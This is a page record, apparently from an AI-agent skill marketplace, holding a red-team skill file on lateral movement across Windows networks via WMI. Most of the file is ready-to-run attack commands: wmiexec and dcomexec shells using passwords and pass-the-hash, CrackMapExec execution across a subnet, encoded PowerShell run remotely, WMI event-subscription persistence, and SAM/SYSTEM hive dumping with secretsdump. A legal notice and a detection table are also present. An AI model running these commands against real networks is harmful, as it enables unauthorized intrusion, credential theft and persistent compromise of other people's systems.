[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6GZABZ0P1SPHHEC0MT8FARC":3,"skill-same:01M6GZABZ0P1SPHHEC0MT8FARC":105},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":38,"linkOnly":39,"markdownContent":40,"markdownBody":41,"frontMatter":42,"refName":49,"commitSha":50,"skillDirectory":51,"forksCount":52,"repositoryHtmlUrl":53,"repositoryHomepageUrl":6,"ownerHtmlUrl":54,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":55,"install":56,"resources":69},"01M6GZABZ0P1SPHHEC0MT8FARC","performing-lateral-movement-with-wmiexec",null,"Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.","micsapp\u002Fmicstec-skills","micsapp","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F82411001?v=4","01M6GWCFQ6D3PV8EHNY62NN5VW","01M6GWCFVE1PA5HG0DKC7AMFJ3",4,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fperforming-lateral-movement-with-wmiexec\u002FSKILL.md",[],[18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37],"performing","lateral movement","with","wmiexec","performing lateral movement with wmiexec","red-teaming","for","techniques","remote","post","across","team","cybersecurity","networks","execution","exploitation","red team","post-exploitation","red-team","windows","2026-11-10 10:12:30",false,"---\nname: performing-lateral-movement-with-wmiexec\ndescription: Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags: [red-team, lateral-movement, wmiexec, wmi, post-exploitation, impacket, windows]\nversion: \"1.0\"\nauthor: mahipal\nlicense: Apache-2.0\n---\n# Performing Lateral Movement with WMIExec\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Overview\n\nWMI (Windows Management Instrumentation) is a legitimate Windows administration framework that red teams abuse for lateral movement because it provides remote command execution without deploying additional services or leaving obvious artifacts like PsExec. Impacket's wmiexec.py creates a semi-interactive shell over WMI by executing commands through Win32_Process.Create and reading output via temporary files on ADMIN$ share. Unlike PsExec, WMIExec does not install a service on the target, making it stealthier and less likely to trigger security alerts. WMI-based lateral movement maps to MITRE ATT&CK T1047 (Windows Management Instrumentation) and is used by threat actors including APT29, APT32, and Lazarus Group.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing lateral movement with wmiexec\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Familiarity with red teaming concepts and tools\n- Access to a test or lab environment for safe execution\n- Python 3.8+ with required dependencies installed\n- Appropriate authorization for any testing activities\n\n## Objectives\n\n- Execute remote commands on Windows targets using WMI-based techniques\n- Establish semi-interactive shells via Impacket wmiexec.py\n- Perform lateral movement with Pass-the-Hash using WMI\n- Use CrackMapExec for multi-target WMI command execution\n- Execute native PowerShell WMI commands for fileless lateral movement\n- Chain WMI with credential harvesting for network-wide access\n\n## MITRE ATT&CK Mapping\n\n- **T1047** - Windows Management Instrumentation\n- **T1021.003** - Remote Services: Distributed Component Object Model (DCOM)\n- **T1550.002** - Use Alternate Authentication Material: Pass the Hash\n- **T1059.001** - Command and Scripting Interpreter: PowerShell\n- **T1570** - Lateral Tool Transfer\n\n## Workflow\n\n### Phase 1: WMIExec with Impacket\n1. Execute a semi-interactive shell with credentials:\n   ```bash\n   # With cleartext password\n   wmiexec.py domain.local\u002Fadmin:'Password123'@10.10.10.50\n\n   # With NT hash (Pass-the-Hash)\n   wmiexec.py -hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 domain.local\u002Fadmin@10.10.10.50\n\n   # With Kerberos ticket\n   export KRB5CCNAME=admin.ccache\n   wmiexec.py -k -no-pass domain.local\u002Fadmin@TARGET01.domain.local\n\n   # Execute specific command (non-interactive)\n   wmiexec.py domain.local\u002Fadmin:'Password123'@10.10.10.50 \"ipconfig \u002Fall\"\n   ```\n2. Execute commands without output file (stealthier using DCOM):\n   ```bash\n   # Using dcomexec.py as alternative (MMC20.Application DCOM object)\n   dcomexec.py -object MMC20 domain.local\u002Fadmin:'Password123'@10.10.10.50\n\n   # Using ShellWindows DCOM object\n   dcomexec.py -object ShellWindows domain.local\u002Fadmin:'Password123'@10.10.10.50\n   ```\n\n### Phase 2: CrackMapExec Multi-Target Execution\n1. Execute commands across multiple targets:\n   ```bash\n   # Execute single command on subnet\n   crackmapexec wmi 10.10.10.0\u002F24 -u admin -p 'Password123' -x \"whoami\"\n\n   # Execute with hash\n   crackmapexec wmi 10.10.10.0\u002F24 -u admin -H a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 -x \"ipconfig\"\n\n   # Execute PowerShell command\n   crackmapexec wmi 10.10.10.0\u002F24 -u admin -p 'Password123' -X \"Get-Process\"\n\n   # Check local admin access via WMI\n   crackmapexec wmi 10.10.10.0\u002F24 -u admin -p 'Password123'\n   ```\n\n### Phase 3: Native WMI Commands (Windows)\n1. Execute remote commands using built-in Windows WMI tools:\n   ```powershell\n   # Using wmic.exe (deprecated but still available)\n   wmic \u002Fnode:10.10.10.50 \u002Fuser:domain\\admin \u002Fpassword:Password123 process call create \"cmd.exe \u002Fc whoami > C:\\temp\\out.txt\"\n\n   # Using PowerShell Invoke-WmiMethod\n   $cred = Get-Credential\n   Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName 10.10.10.50 `\n     -Credential $cred -ArgumentList \"cmd.exe \u002Fc ipconfig > C:\\temp\\output.txt\"\n\n   # Using CIM sessions (modern replacement for WMI)\n   $session = New-CimSession -ComputerName 10.10.10.50 -Credential $cred\n   Invoke-CimMethod -CimSession $session -ClassName Win32_Process `\n     -MethodName Create -Arguments @{CommandLine=\"cmd.exe \u002Fc whoami\"}\n   ```\n2. Fileless PowerShell execution via WMI:\n   ```powershell\n   # Execute encoded PowerShell command remotely\n   $cmd = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('Get-Process | Out-File C:\\temp\\procs.txt'))\n   Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName 10.10.10.50 `\n     -Credential $cred -ArgumentList \"powershell.exe -enc $cmd\"\n   ```\n\n### Phase 4: WMI-Based Persistence\n1. Create WMI event subscriptions for persistence:\n   ```powershell\n   # Create WMI event subscription (command runs on every logon)\n   $filter = Set-WmiInstance -Namespace \"root\\subscription\" -Class __EventFilter `\n     -Arguments @{Name=\"PersistFilter\"; EventNamespace=\"root\\cimv2\";\n                  QueryLanguage=\"WQL\"; Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\"}\n\n   $consumer = Set-WmiInstance -Namespace \"root\\subscription\" -Class CommandLineEventConsumer `\n     -Arguments @{Name=\"PersistConsumer\"; CommandLineTemplate=\"cmd.exe \u002Fc \u003Cpayload>\"}\n\n   Set-WmiInstance -Namespace \"root\\subscription\" -Class __FilterToConsumerBinding `\n     -Arguments @{Filter=$filter; Consumer=$consumer}\n   ```\n\n### Phase 5: Chaining with Credential Harvesting\n1. Use WMI for remote credential extraction:\n   ```bash\n   # Dump SAM hashes via WMI + reg save\n   wmiexec.py domain.local\u002Fadmin:'Password123'@10.10.10.50 \"reg save HKLM\\SAM C:\\temp\\sam && reg save HKLM\\SYSTEM C:\\temp\\system\"\n\n   # Download saved hives\n   smbclient.py domain.local\u002Fadmin:'Password123'@10.10.10.50\n   > get C:\\temp\\sam\n   > get C:\\temp\\system\n\n   # Extract hashes from saved hives\n   secretsdump.py -sam sam -system system LOCAL\n   ```\n\n## Tools and Resources\n\n| Tool | Purpose | Platform |\n|------|---------|----------|\n| wmiexec.py | Semi-interactive WMI shell (Impacket) | Linux (Python) |\n| dcomexec.py | DCOM-based remote execution (Impacket) | Linux (Python) |\n| CrackMapExec | Multi-target WMI execution | Linux (Python) |\n| wmic.exe | Native Windows WMI command-line tool | Windows |\n| PowerShell CIM | Modern WMI cmdlets | Windows |\n| SharpWMI | .NET WMI execution tool | Windows (.NET) |\n\n## WMI Execution Methods Comparison\n\n| Method | Service Created | Output Method | Stealth Level |\n|--------|----------------|---------------|---------------|\n| wmiexec.py | No | Temp file on ADMIN$ | Medium |\n| dcomexec.py | No | Temp file on ADMIN$ | Medium-High |\n| wmic.exe | No | None (blind) or redirect | Medium |\n| PowerShell WMI | No | None (blind) or redirect | High |\n| PsExec (comparison) | Yes | Service output pipe | Low |\n\n## Detection Signatures\n\n| Indicator | Detection Method |\n|-----------|-----------------|\n| Win32_Process.Create WMI calls | Event 4688 (process creation) with WMI parent process |\n| WMI temporary output files on ADMIN$ | File monitoring on ADMIN$ share for temp files |\n| Remote WMI connections (DCOM\u002F135) | Network monitoring for DCOM traffic to workstations |\n| WmiPrvSE.exe spawning cmd.exe\u002Fpowershell.exe | EDR process tree analysis |\n| Event 5857\u002F5860\u002F5861 | WMI Activity logs in Microsoft-Windows-WMI-Activity |\n\n## Validation Criteria\n\n- [ ] WMIExec shell established on remote target\n- [ ] Pass-the-Hash execution validated via WMI\n- [ ] Multi-target command execution via CrackMapExec WMI\n- [ ] Native PowerShell WMI commands executed remotely\n- [ ] Credential harvesting performed via WMI execution chain\n- [ ] No service creation artifacts on target systems\n- [ ] Evidence documented with command outputs and screenshots\n","# Performing Lateral Movement with WMIExec\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Overview\n\nWMI (Windows Management Instrumentation) is a legitimate Windows administration framework that red teams abuse for lateral movement because it provides remote command execution without deploying additional services or leaving obvious artifacts like PsExec. Impacket's wmiexec.py creates a semi-interactive shell over WMI by executing commands through Win32_Process.Create and reading output via temporary files on ADMIN$ share. Unlike PsExec, WMIExec does not install a service on the target, making it stealthier and less likely to trigger security alerts. WMI-based lateral movement maps to MITRE ATT&CK T1047 (Windows Management Instrumentation) and is used by threat actors including APT29, APT32, and Lazarus Group.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing lateral movement with wmiexec\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Familiarity with red teaming concepts and tools\n- Access to a test or lab environment for safe execution\n- Python 3.8+ with required dependencies installed\n- Appropriate authorization for any testing activities\n\n## Objectives\n\n- Execute remote commands on Windows targets using WMI-based techniques\n- Establish semi-interactive shells via Impacket wmiexec.py\n- Perform lateral movement with Pass-the-Hash using WMI\n- Use CrackMapExec for multi-target WMI command execution\n- Execute native PowerShell WMI commands for fileless lateral movement\n- Chain WMI with credential harvesting for network-wide access\n\n## MITRE ATT&CK Mapping\n\n- **T1047** - Windows Management Instrumentation\n- **T1021.003** - Remote Services: Distributed Component Object Model (DCOM)\n- **T1550.002** - Use Alternate Authentication Material: Pass the Hash\n- **T1059.001** - Command and Scripting Interpreter: PowerShell\n- **T1570** - Lateral Tool Transfer\n\n## Workflow\n\n### Phase 1: WMIExec with Impacket\n1. Execute a semi-interactive shell with credentials:\n   ```bash\n   # With cleartext password\n   wmiexec.py domain.local\u002Fadmin:'Password123'@10.10.10.50\n\n   # With NT hash (Pass-the-Hash)\n   wmiexec.py -hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 domain.local\u002Fadmin@10.10.10.50\n\n   # With Kerberos ticket\n   export KRB5CCNAME=admin.ccache\n   wmiexec.py -k -no-pass domain.local\u002Fadmin@TARGET01.domain.local\n\n   # Execute specific command (non-interactive)\n   wmiexec.py domain.local\u002Fadmin:'Password123'@10.10.10.50 \"ipconfig \u002Fall\"\n   ```\n2. Execute commands without output file (stealthier using DCOM):\n   ```bash\n   # Using dcomexec.py as alternative (MMC20.Application DCOM object)\n   dcomexec.py -object MMC20 domain.local\u002Fadmin:'Password123'@10.10.10.50\n\n   # Using ShellWindows DCOM object\n   dcomexec.py -object ShellWindows domain.local\u002Fadmin:'Password123'@10.10.10.50\n   ```\n\n### Phase 2: CrackMapExec Multi-Target Execution\n1. Execute commands across multiple targets:\n   ```bash\n   # Execute single command on subnet\n   crackmapexec wmi 10.10.10.0\u002F24 -u admin -p 'Password123' -x \"whoami\"\n\n   # Execute with hash\n   crackmapexec wmi 10.10.10.0\u002F24 -u admin -H a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 -x \"ipconfig\"\n\n   # Execute PowerShell command\n   crackmapexec wmi 10.10.10.0\u002F24 -u admin -p 'Password123' -X \"Get-Process\"\n\n   # Check local admin access via WMI\n   crackmapexec wmi 10.10.10.0\u002F24 -u admin -p 'Password123'\n   ```\n\n### Phase 3: Native WMI Commands (Windows)\n1. Execute remote commands using built-in Windows WMI tools:\n   ```powershell\n   # Using wmic.exe (deprecated but still available)\n   wmic \u002Fnode:10.10.10.50 \u002Fuser:domain\\admin \u002Fpassword:Password123 process call create \"cmd.exe \u002Fc whoami > C:\\temp\\out.txt\"\n\n   # Using PowerShell Invoke-WmiMethod\n   $cred = Get-Credential\n   Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName 10.10.10.50 `\n     -Credential $cred -ArgumentList \"cmd.exe \u002Fc ipconfig > C:\\temp\\output.txt\"\n\n   # Using CIM sessions (modern replacement for WMI)\n   $session = New-CimSession -ComputerName 10.10.10.50 -Credential $cred\n   Invoke-CimMethod -CimSession $session -ClassName Win32_Process `\n     -MethodName Create -Arguments @{CommandLine=\"cmd.exe \u002Fc whoami\"}\n   ```\n2. Fileless PowerShell execution via WMI:\n   ```powershell\n   # Execute encoded PowerShell command remotely\n   $cmd = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('Get-Process | Out-File C:\\temp\\procs.txt'))\n   Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName 10.10.10.50 `\n     -Credential $cred -ArgumentList \"powershell.exe -enc $cmd\"\n   ```\n\n### Phase 4: WMI-Based Persistence\n1. Create WMI event subscriptions for persistence:\n   ```powershell\n   # Create WMI event subscription (command runs on every logon)\n   $filter = Set-WmiInstance -Namespace \"root\\subscription\" -Class __EventFilter `\n     -Arguments @{Name=\"PersistFilter\"; EventNamespace=\"root\\cimv2\";\n                  QueryLanguage=\"WQL\"; Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\"}\n\n   $consumer = Set-WmiInstance -Namespace \"root\\subscription\" -Class CommandLineEventConsumer `\n     -Arguments @{Name=\"PersistConsumer\"; CommandLineTemplate=\"cmd.exe \u002Fc \u003Cpayload>\"}\n\n   Set-WmiInstance -Namespace \"root\\subscription\" -Class __FilterToConsumerBinding `\n     -Arguments @{Filter=$filter; Consumer=$consumer}\n   ```\n\n### Phase 5: Chaining with Credential Harvesting\n1. Use WMI for remote credential extraction:\n   ```bash\n   # Dump SAM hashes via WMI + reg save\n   wmiexec.py domain.local\u002Fadmin:'Password123'@10.10.10.50 \"reg save HKLM\\SAM C:\\temp\\sam && reg save HKLM\\SYSTEM C:\\temp\\system\"\n\n   # Download saved hives\n   smbclient.py domain.local\u002Fadmin:'Password123'@10.10.10.50\n   > get C:\\temp\\sam\n   > get C:\\temp\\system\n\n   # Extract hashes from saved hives\n   secretsdump.py -sam sam -system system LOCAL\n   ```\n\n## Tools and Resources\n\n| Tool | Purpose | Platform |\n|------|---------|----------|\n| wmiexec.py | Semi-interactive WMI shell (Impacket) | Linux (Python) |\n| dcomexec.py | DCOM-based remote execution (Impacket) | Linux (Python) |\n| CrackMapExec | Multi-target WMI execution | Linux (Python) |\n| wmic.exe | Native Windows WMI command-line tool | Windows |\n| PowerShell CIM | Modern WMI cmdlets | Windows |\n| SharpWMI | .NET WMI execution tool | Windows (.NET) |\n\n## WMI Execution Methods Comparison\n\n| Method | Service Created | Output Method | Stealth Level |\n|--------|----------------|---------------|---------------|\n| wmiexec.py | No | Temp file on ADMIN$ | Medium |\n| dcomexec.py | No | Temp file on ADMIN$ | Medium-High |\n| wmic.exe | No | None (blind) or redirect | Medium |\n| PowerShell WMI | No | None (blind) or redirect | High |\n| PsExec (comparison) | Yes | Service output pipe | Low |\n\n## Detection Signatures\n\n| Indicator | Detection Method |\n|-----------|-----------------|\n| Win32_Process.Create WMI calls | Event 4688 (process creation) with WMI parent process |\n| WMI temporary output files on ADMIN$ | File monitoring on ADMIN$ share for temp files |\n| Remote WMI connections (DCOM\u002F135) | Network monitoring for DCOM traffic to workstations |\n| WmiPrvSE.exe spawning cmd.exe\u002Fpowershell.exe | EDR process tree analysis |\n| Event 5857\u002F5860\u002F5861 | WMI Activity logs in Microsoft-Windows-WMI-Activity |\n\n## Validation Criteria\n\n- [ ] WMIExec shell established on remote target\n- [ ] Pass-the-Hash execution validated via WMI\n- [ ] Multi-target command execution via CrackMapExec WMI\n- [ ] Native PowerShell WMI commands executed remotely\n- [ ] Credential harvesting performed via WMI execution chain\n- [ ] No service creation artifacts on target systems\n- [ ] Evidence documented with command outputs and screenshots\n",{"name":5,"tags":43,"author":47,"domain":30,"license":14,"version":48,"subdomain":23,"description":7},[36,44,21,45,35,46,37],"lateral-movement","wmi","impacket","mahipal","1.0","master","3f5d983eb4ef375b749adcd6b07ec03bd82ae8a8","_universal\u002Fcybersecurity-skills\u002Fskills\u002Fperforming-lateral-movement-with-wmiexec",0,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills","https:\u002F\u002Fgithub.com\u002Fmicsapp","2026-03-20 11:24:18",{"source":8,"skillName":5,"commands":57,"prompt":67,"zipAvailable":68},[58,61,64],{"tool":59,"command":60},"npx","npx skills add micsapp\u002Fmicstec-skills --skill performing-lateral-movement-with-wmiexec",{"tool":62,"command":63},"bunx","bunx skills add micsapp\u002Fmicstec-skills --skill performing-lateral-movement-with-wmiexec",{"tool":65,"command":66},"pnpm","pnpm dlx skills add micsapp\u002Fmicstec-skills --skill performing-lateral-movement-with-wmiexec","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fperforming-lateral-movement-with-wmiexec\u002FSKILL.md",true,[70,76,81,87,91,95,101],{"path":71,"resourceType":72,"resourceTypeDesc":73,"sizeBytes":74,"sourceHtmlUrl":75},"assets\u002Ftemplate.md","ASSET","资产文件",597,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fperforming-lateral-movement-with-wmiexec\u002Fassets\u002Ftemplate.md",{"path":77,"resourceType":77,"resourceTypeDesc":78,"sizeBytes":79,"sourceHtmlUrl":80},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fperforming-lateral-movement-with-wmiexec\u002FLICENSE",{"path":82,"resourceType":83,"resourceTypeDesc":84,"sizeBytes":85,"sourceHtmlUrl":86},"references\u002Fapi-reference.md","REFERENCE","参考文档",1612,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fperforming-lateral-movement-with-wmiexec\u002Freferences\u002Fapi-reference.md",{"path":88,"resourceType":83,"resourceTypeDesc":84,"sizeBytes":89,"sourceHtmlUrl":90},"references\u002Fstandards.md",858,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fperforming-lateral-movement-with-wmiexec\u002Freferences\u002Fstandards.md",{"path":92,"resourceType":83,"resourceTypeDesc":84,"sizeBytes":93,"sourceHtmlUrl":94},"references\u002Fworkflows.md",677,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fperforming-lateral-movement-with-wmiexec\u002Freferences\u002Fworkflows.md",{"path":96,"resourceType":97,"resourceTypeDesc":98,"sizeBytes":99,"sourceHtmlUrl":100},"scripts\u002Fagent.py","SCRIPT","脚本",7474,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fperforming-lateral-movement-with-wmiexec\u002Fscripts\u002Fagent.py",{"path":102,"resourceType":97,"resourceTypeDesc":98,"sizeBytes":103,"sourceHtmlUrl":104},"scripts\u002Fprocess.py",2956,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fperforming-lateral-movement-with-wmiexec\u002Fscripts\u002Fprocess.py",[106,142,172,193,213,238],{"skillNo":107,"name":108,"nameZh":6,"description":109,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":110,"licenseFileUrl":6,"sourceHtmlUrl":111,"categories":112,"keywords":123,"publishedAt":38},"01M6HBTJ02FXBFG9NYEHHYAP52","azure-apim-architecture","Analyzes and explains Azure API Management architecture decisions for enterprise API marketplace implementations using VNet Internal mode, Front Door, hybrid authentication, and multi-environment strategies. Use when discussing APIM component selection, network topology, cost optimization, or comparing alternatives like workspaces vs instances, VNet Internal vs External mode, or Front Door vs Application Gateway.","MIT","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fazure-apim-architecture\u002FSKILL.md",[113,118],{"categoryNo":114,"categoryName":115,"taxonomyType":116,"taxonomyTypeDesc":117},"01JBSEEDCAT000000000000010","后端与接口","SCENARIO","使用场景",{"categoryNo":119,"categoryName":120,"taxonomyType":121,"taxonomyTypeDesc":122},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[124,125,126,127,128,129,130,131,132,133,29,134,135,136,137,138,139,140,141,24],"architecture","azure","azure apim architecture","component","authentication","gateway","topology","Optimization","network","api","environment","multi-environment","workspaces","instances","selection","strategies","azure api management","mode",{"skillNo":143,"name":144,"nameZh":6,"description":145,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":110,"licenseFileUrl":6,"sourceHtmlUrl":146,"categories":147,"keywords":156,"publishedAt":38},"01M6HBT7J4H082JEEA670B3EQ9","apiops-deployment","Guides deployment of Azure API Management infrastructure using Infrastructure as Code (Bicep\u002FTerraform), CI\u002FCD pipelines (GitHub Actions\u002FAzure DevOps), and APIOps workflows. Use when deploying APIM, creating pipelines, or implementing dev→test→prod promotion strategies.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fapiops-deployment\u002FSKILL.md",[148,149,152,155],{"categoryNo":114,"categoryName":115,"taxonomyType":116,"taxonomyTypeDesc":117},{"categoryNo":150,"categoryName":151,"taxonomyType":116,"taxonomyTypeDesc":117},"01JBSEEDCAT000000000000011","运维与部署",{"categoryNo":153,"categoryName":154,"taxonomyType":116,"taxonomyTypeDesc":117},"01JBSEEDCAT000000000000023","Skill与智能体开发",{"categoryNo":119,"categoryName":120,"taxonomyType":121,"taxonomyTypeDesc":122},[157,158,159,160,125,161,162,163,164,165,166,167,133,29,139,168,169,140,170,171],"deployment","apiops deployment","workflows","azure devops","infrastructure","code","infrastructure as code","actions","ci","github actions","github-actions","as","guides","CI\u002FCD","implementing",{"skillNo":173,"name":174,"nameZh":6,"description":175,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":110,"licenseFileUrl":6,"sourceHtmlUrl":176,"categories":177,"keywords":179,"publishedAt":38},"01M6HBT2HEA23THNE9E00GYQBE","apim-policy-authoring","Creates production-ready Azure API Management policy XML for authentication (OAuth 2.0, JWT validation, subscription keys), rate limiting, CORS configuration, error handling, and API transformations. Use when implementing API security, access control, or request\u002Fresponse processing logic.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fapim-policy-authoring\u002FSKILL.md",[178],{"categoryNo":114,"categoryName":115,"taxonomyType":116,"taxonomyTypeDesc":117},[180,181,182,183,125,128,133,29,184,185,186,187,188,189,190,140,191,192,171,24],"policy","authoring","apim policy authoring","security","access","use","ready","api security","Access Control","error","processing","cors configuration","production-ready",{"skillNo":194,"name":195,"nameZh":6,"description":196,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":110,"licenseFileUrl":6,"sourceHtmlUrl":197,"categories":198,"keywords":201,"publishedAt":38},"01M6HBSY65SB29J9WE9KYD0K6T","api-security-review","Reviews Azure API Management configurations for security vulnerabilities, OWASP API Security Top 10 compliance, VNet Internal mode validation, Private Link verification, and Azure Security Benchmark alignment. Use when performing security audits, pre-deployment validation, or compliance reviews.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fapi-security-review\u002FSKILL.md",[199,200],{"categoryNo":114,"categoryName":115,"taxonomyType":116,"taxonomyTypeDesc":117},{"categoryNo":119,"categoryName":120,"taxonomyType":121,"taxonomyTypeDesc":122},[202,183,203,133,187,204,125,157,205,206,207,208,29,209,140,210,211,212,141,24],"review","security review","api security review","benchmark","verification","owasp","owasp-api","alignment","azure security","reviews","top",{"skillNo":214,"name":215,"nameZh":6,"description":216,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":110,"licenseFileUrl":6,"sourceHtmlUrl":217,"categories":218,"keywords":219,"publishedAt":38},"01M6HBSRW4PDFE6K4F8JYPZQ05","jira-cli","Interact with Jira from the command line to create, list, view, edit, and transition issues, manage sprints and epics, and perform common Jira workflows. Use when the user asks about Jira tasks, tickets, issues, sprints, or needs to manage project work items.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fawesome-copilot-agents\u002Fskills\u002Fjira-cli\u002FSKILL.md",[],[220,221,222,159,223,224,225,226,133,227,228,229,230,231,232,233,234,235,236,237],"cli","jira","jira cli","init","tasks","create","issues","common","work","command","edit","list","view","project","project work","token","line","sprints",{"skillNo":239,"name":240,"nameZh":6,"description":241,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":110,"licenseFileUrl":6,"sourceHtmlUrl":242,"categories":243,"keywords":244,"publishedAt":38},"01M6HBSNS3JHMW603G47TWE31H","calculator","Performs arbitrary-precision arithmetic calculations including addition, subtraction, multiplication, division, and exponents. Use when the user asks to calculate, compute, or evaluate math expressions, or when precise decimal arithmetic is needed to avoid floating-point errors.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fawesome-copilot-agents\u002Fskills\u002Fcalculator\u002FSKILL.md",[],[240,245,246,247,248,249,250,185,251,252],"npm","js","calculate","node","math","user","compute","errors"]